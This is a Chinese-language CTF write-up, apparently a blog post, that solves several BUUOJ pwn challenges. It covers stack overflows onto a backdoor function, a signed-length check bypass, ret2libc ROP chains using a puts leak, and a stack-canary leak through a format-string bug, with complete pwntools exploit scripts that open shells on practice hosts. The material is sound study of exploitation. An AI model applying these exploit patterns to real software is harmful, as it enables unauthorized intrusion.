覆盖返回地址
bjdctf_2020_babystack
存在一个backdoor函数,可以直接执行bin/sh
![image-20210707123627349](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210707123635.png)
输入长度后,栈溢出即可
这里可能是定义了一个栈上的局部变量buf,所以是可以覆写到返回地址的
![image-20210707125248171](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210707125248.png)
写到__libc_csu_init后,也就是3*8的padding
1 2 3 4 5 6 7 8 9
| from pwn import * context.log_level = 'debug' context.arch = 'amd64'
p = remote('node4.buuoj.cn', 27309) p.sendlineafter('of your name:\n', '100') payload = 'a' * 24 + p64(0x4006e6) p.sendlineafter('u name?\n', payload); p.interactive()
|
![image-20210707140901817](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210707140901.png)
bjdctf_2020_babystack2
对比前一题多了一个判断,但是是强转的有符号数,因此用-1就可以绕过
![image-20210708233316876](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210708233316.png)
1 2 3 4 5 6 7 8 9
| from pwn import * context.log_level = 'debug' context.arch = 'amd64'
p = remote('node4.buuoj.cn', 28805) p.sendlineafter('of your name:\n', '-1') payload = 'a' * 24 + p64(0x400726) p.sendlineafter('u name?\n', payload); p.interactive()
|
Rop
bjdctf_2020_babyrop
开启了NX,且没有bin/sh,使用rop
![image-20210708234355359](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210708234355.png)
这里是2.2.5的libc,和虚拟机不一样,使用glibc-all-in-one和patchelf
首先用glibc-all-in-one下载glibc
然后patchelf
1 2
| patchelf --set-interpreter /glibc/2.25/amd64/lib/ld-2.25.so bjdctf_2020_babyrop patchelf --replace-needed libc.so.6 /glibc/2.25/amd64/lib/libc-2.25.so bjdctf_2020_babyrop
|
ldd查看一下,patch成功
![image-20210713235227891](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210713235228.png)
可以先试着找到puts函数 泄露出libc偏移
![image-20210709000523209](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210709000523.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
from pwn import * import code
context.log_level = 'DEBUG'
p = process('bjdctf_2020_babyrop') elf = ELF('bjdctf_2020_babyrop')
pop_rdi = 0x400733 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main = elf.symbols['main'] p.recv()
payload1 = 'a' * 0x28 + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main])) p.sendline(payload1)
puts_libc = u64(p.recv(6).ljust(8, '\x00')) print hex(puts_libc) p.recv()
|
然后将puts_libc减去puts地址得到libc偏移
1 2
| libc = elf.libc libc_base = puts_libc - libc.symbols['puts']
|
之后直接用system函数调用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
|
from pwn import * from LibcSearcher import * import sys import code
context.log_level = 'DEBUG'
reload(sys) sys.setdefaultencoding("utf-8")
p = remote('node4.buuoj.cn', 27296) elf = ELF('rop')
padding_len = 0x28
pop_rdi = 0x400733 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main = elf.symbols['main'] p.recv()
payload1 = 'a' * padding_len + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, main])) p.sendline(payload1)
puts_libc = u64(p.recv(6).ljust(8, '\x00')) print hex(puts_libc) p.recv()
libc=LibcSearcher('puts', puts_libc) libcbase_addr = puts_libc - libc.dump('puts') system_addr = libcbase_addr+libc.dump('system') binsh_addr = libcbase_addr+libc.dump('str_bin_sh')
payload2 = 'a' * padding_len + ''.join(map(p64, [pop_rdi, binsh_addr, system_addr])) p.sendline(payload2) p.interactive()
|
babyrop2
![image-20210714091232859](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714091232.png)
checksec发现开启了金丝雀
![image-20210714091309210](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714091309.png)
![image-20210714091325847](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714091325.png)
程序中存在格式化字符串漏洞和溢出点,可以用printf打印出canary然后再用rop链
由于开启金丝雀后,在每个函数返回时都会checkstack![image-20210714093124669](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714093124.png)
所以运行到call printf时,把栈底8位打印出来就可以,使用%X$p
![image-20210714093315608](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714093315.png)
![image-20210714093636387](https://blogimg-xi.oss-cn-shanghai.aliyuncs.com/img/20210714093636.png)
确实可以打印
然后可以写exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
from pwn import * from LibcSearcher import * import sys import code
context.log_level = 'DEBUG'
reload(sys) sys.setdefaultencoding("utf-8")
p = remote('node4.buuoj.cn', 28392) elf = ELF('rop2')
payload = '%7$p' p.sendlineafter('gift to help u!\n', payload) addr = p.recvuntil('\n') canary = int(addr,16)
padding = 'a' * (0x20 - 8) + p64(canary) + 'a' * 8
pop_rdi = 0x400993 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] vuln = elf.symbols['vuln']
payload1 = padding + ''.join(map(p64, [pop_rdi, puts_got, puts_plt, vuln])) p.sendlineafter('me u story!\n', payload1)
puts_libc = u64(p.recv(6).ljust(8, '\x00')) print hex(puts_libc)
libc=LibcSearcher('puts', puts_libc) libcbase_addr = puts_libc - libc.dump('puts') system_addr = libcbase_addr+libc.dump('system') binsh_addr = libcbase_addr+libc.dump('str_bin_sh')
payload2 = padding + ''.join(map(p64, [pop_rdi, binsh_addr, system_addr])) p.sendlineafter('me u story!\n', payload2) p.interactive()
|